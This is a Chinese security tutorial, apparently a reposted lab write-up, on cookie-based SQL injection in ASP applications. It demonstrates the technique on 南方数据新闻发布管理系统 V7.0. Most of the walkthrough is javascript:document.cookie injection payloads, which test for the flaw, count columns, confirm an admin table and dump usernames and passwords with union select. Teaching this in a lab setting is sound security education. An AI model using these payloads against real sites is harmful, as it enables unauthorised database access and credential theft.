靶场教学 | SQL注入——Cookie注入

admin 2022年7月27日20:00:33评论116 views字数 2344阅读7分48秒阅读模式
Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入。

01

Cookie介绍




Cookie背景

Cookie最先是由Netscape(网景)公司提出的,Netscape官方文档中对Cookie的定义是这样的:Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。


Cookie的用途

Cookie的用途非常广泛,在网络中经常可以见到Cookie的身影。它通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。


02

Cookie 注入介绍



Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。

要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用来获取客户端提交的数据。


03

Cookie注入步骤




上面我们介绍了Cookie注入的相关知识,下面我们来看如何确定一个网站是否存在Cookie注入漏洞。

1、寻找形如“.asp?id=xx”类的带参数的URL。 

2、去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

3、清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用是用Request("id")这种方式获取数据的。

4、重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:

“javascript:alert(document.cookie="id="+escape("xx   and 1=1"));”
“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。

5、使用常规注入语句进行注入即可。和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入


04

Cookie 注入实例



本案例采用南方数据新闻发布管理系统V7.0仅供学习使用

1.寻找形如“.asp?id=xx”类的带参数的URL。

靶场教学 | SQL注入——Cookie注入

2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

靶场教学 | SQL注入——Cookie注入

3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。

靶场教学 | SQL注入——Cookie注入

4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的

URL:“javascript:alert(document.cookie="id="+escape("xx   and 1=1"));”URL:“javascript:alert(document.cookie="id="+escape("xx   and 1=2"));”

和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入

5.先去掉地址,然后输入:
javascript:alert(document.cookie="id="+escape("xx   and 1=1"));

靶场教学 | SQL注入——Cookie注入

然后去掉?id=27看是否能正常显示。

靶场教学 | SQL注入——Cookie注入

6.然后再清除地址,输入:

javascript:alert(document.cookie="id="+escape("xx   and 1=2"));
靶场教学 | SQL注入——Cookie注入

然后去掉?id=27看是否能正常显示。

靶场教学 | SQL注入——Cookie注入

7.出错了,说明存在Cookie注入,然后换语句猜解字段数:

javascript:alert(document.cookie="id="+escape("27   order by 12"));

order by 12 时报错,换成11再试:

javascript:alert(document.cookie="id="+escape("27   order by 11"));
靶场教学 | SQL注入——Cookie注入

8. 换成11正确,说明字段数为11。然后就是猜解表名:

javascript:alert(document.cookie="id="+escape("27   and exists (select * from admin) "));

靶场教学 | SQL注入——Cookie注入

9.正确说明存在"admin"这个表。接下来就是猜解内容:

javascript:alert(document.cookie="id="+escape("27   union select 1,2,3,4,5,6,7,8,9,10,11 from admin "));
靶场教学 | SQL注入——Cookie注入

10.爆出来:2,3,替换2,3为你想要猜解出来的内容。

javascript:alert(document.cookie="id="+escape("27   union select 1,username,password,4,5,6,7,8,9,10,11 from admin "));
靶场教学 | SQL注入——Cookie注入


往期回顾

 SQL注入 Update报错注入
◆ 靶场教学 | SQL注入——UserAgent注入
◆ MSF系列(一)| 初识Metasploit
◆ MSF系列(二)| MSF基础使用
◆ MSF系列(三)| Metasploit情报收集


如有侵权,请联系删除。

靶场教学 | SQL注入——Cookie注入

扫码关注我们

查看更多精彩内容




原文始发于微信公众号(长风实验室):靶场教学 | SQL注入——Cookie注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月27日20:00:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场教学 | SQL注入——Cookie注入http://cn-sec.com/archives/1205036.html

发表评论

匿名网友 填写信息